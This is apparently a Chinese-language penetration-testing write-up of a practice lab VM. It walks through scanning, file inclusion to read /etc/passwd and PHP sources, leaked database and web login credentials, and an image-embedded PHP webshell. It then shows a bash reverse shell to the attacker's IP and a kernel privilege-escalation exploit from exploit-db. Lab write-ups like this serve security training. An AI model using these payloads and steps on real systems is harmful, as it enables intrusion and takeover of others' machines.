目标
获取root权限
运行环境
靶机:VM
攻击机:kali ip:192.168.252.133
开始测试
信息收集
1.首先我们使用nmap来探测存活主机
nmap -R 192.168.252.0/24
我们探测到了主机192.168.252.181
,我们可以看到其开放了22
端口和80
端口,不过我们还是对其进行一个完整的端口扫描,以及其指纹信息
nmap -sS -p0-65535 -A -T4 192.168.252.181
通过返回结果我们可以得知,系统是Linxu,使用的Apache/2.2.22,开启的端口有22
,80
2.知道有80端口之后,我们首先访问其80端口来查看页面
上面写着来秀秀你的注入技术,不过我们不着急,爆破个目录先
找到了这些目录,我们查看其中返回为请求结果为200的页面,最终找到一个疑似上传的页面和文件包含的页面以及一个phpinfo信息页面add
页面test
页面phpinfo
页面,这个页面得到的信息就多了,物理路径,配置信息,以及使用的数据库是mysql等等,
目前为止,我们可以找到的信息就这些,我们可以针对一些点开始漏洞挖掘了
漏洞挖掘
思路分析
- 我们通过信息收集已经知道了首页中有一个登录框,写着让我们来注入
- 有两个页面看似可以上传,我们可以尝试上传文件
- 通过抓包看其中的请求包和返回包来寻找漏洞
- 查看网页源码是否有信息泄露或者提示
开始测试
1.首先我们进行注入测试,我们已经知道数据库是mysql,直接抓包使用mysql的注入方式来测试
单引号不报错,双引号,加括号,延时注入.....最终都没有反应
2.注入我们就先放一放,我们之前可以看到有一个可以进行文件包含的页面,我们去尝试文件包含看能不能得到敏感信息的文件
访问test
,我们在链接后传递file参数:
http://192.168.252.181/test?file=/etc/passwd
没有任何反应,我们将提交方式改为POST方式试试
这里把我们包含的文件直接进行了下载
不过为了方便,我们直接使用burp抓包来测试,可以直接回显内容不用再下载文件
3.我们之前在浏览爆破出来页面的时候,发现c
和show
这两个返回的内容都是空,我们可以猜测其是一个php文件,没有可显示的内容,所以我们可以使用文件包含来查看一下其文件中的php代码。
我们通过phpinfo
知道www
目录的路径为/var/www
那么我们就直接尝试包含/var/www/c.php
和/var/www/show.php
这两个路径c.php
文件内容show.php
文件内容
不看不知道,一看不得了,c.php
文件是数据库的连接文件里面包含了数据的帐户和密码,show.php
是文件结束我们的POST
请求,当我们传递的参数是contionue的时候,就会打印数据库中的用户信息
4.我们先获取一下数据库中的用户信息,POST提交参数continue=1
这个看的我很懵,我们查看了之前的passwd文件,也没有这两个用户。先把这个给放过,我们已经知道了数据库的帐户密码,我们尝试寻找phpmyadmin页面,最后我们使用其他目录爆破工具找到了phpmyadmin页面,路径为http://192.168.252.181/phpmy/
,我们使用如下帐户登录
用户名:billu
密码:b0x_billu
进去之后我们尝试使用查询日志来getshell,发现我们没有去权限
5.既然无法直接getshell,我们就查询数据库中存放的信息,看有没有帐户密码泄露什么的
我们在auth下找到了一组用户名密码biLLu:hEx_it
,我们尝试登录最开始web端的登录点
登录成功,这里我们发现有一个添加帐户的功能,想到之前我们发现文件包含漏洞,我们可以利用这个漏洞查看文件上传的源码
我们发现了有文件包含的漏洞,但是上传的那个位置好像没有什么机会,直接白名单过滤后缀名,既然文件包含可以了,我们就上传一个图片码,图片的存放位置我们通过已经有的两个图片得知http://192.168.252.181/uploaded_images/jack.jpg
6.我们上传图片,写入命令执行一句话<?php system($_GET['cmd']);?>
,成功上传之后访问http://192.168.252.181/panel.php
抓包,将load修改为/uploaded_images/1234.jpg
,1234.jpg是我们上传的图片名
可以看到文件包含是成功的,这时候我们可以传递参数来进行命令执行,这里查看当前目录下的文件
命令可以成功执行,那我们接下来直接反弹一个shell过来,接管靶机
echo "bash -i >& /dev/tcp/192.168.252.133/8889 0>&1" | bash
echo+"bash+-i+>%26+/dev/tcp/192.168.252.133/8889+0>%261"+|+bash%3bls
命令使用url编码之后成功执行,攻击机接收到shell
7.我们看到图片上传的目录我们有完全的控制权限,我们就在这个目录下写一个一句话,用这个带有重影的命令行太难受了
写入成功,我们使用蚁剑连接
提升权限
1.首先我们查看一下系统的版本
这个版本是有本地提权漏洞的,我们通过searchsploit linux 3.13.0
来搜索可用的exp
这里我们就使用37292.c
来进行提权,我们也可以直接去https://www.exploit-db.com/exploits/37292/
下载提权文件
通过蚁剑上传成功,接下来我们先给我们的exp增加执行权限,接着编译、执行
chmod +x 37292.c
gcc 37292.c -o exp
./exp
最后的执行操作我们是在kali反弹的shell中完成的,最终拿到root权限
思路总结
1.我们这个的思路是,首先通过发现的文件包含漏洞拿到了数据库的用户密码,然后爆破出了phpmyadmin的路径登录数据库,我们在数据库中找到了web用户登录的账号密码,登录成功后有上传页面,不过上传有防护,但是我们通过结合之前的文件包含漏洞源码审计了上传页面,找到了文件包含漏洞,最后上传图片进行文件包含最终执行命令反弹shell,拿到shell之后我们查看系统版本,通过本地提权漏洞拿到权限。
2.这里还有一个思路就是最开始提示我们让我们在登录框注入,但是我们没有成功,其实我们可以结合后来发现的文件包含漏洞来源码审计登录页面从而拿到数据库中的信息。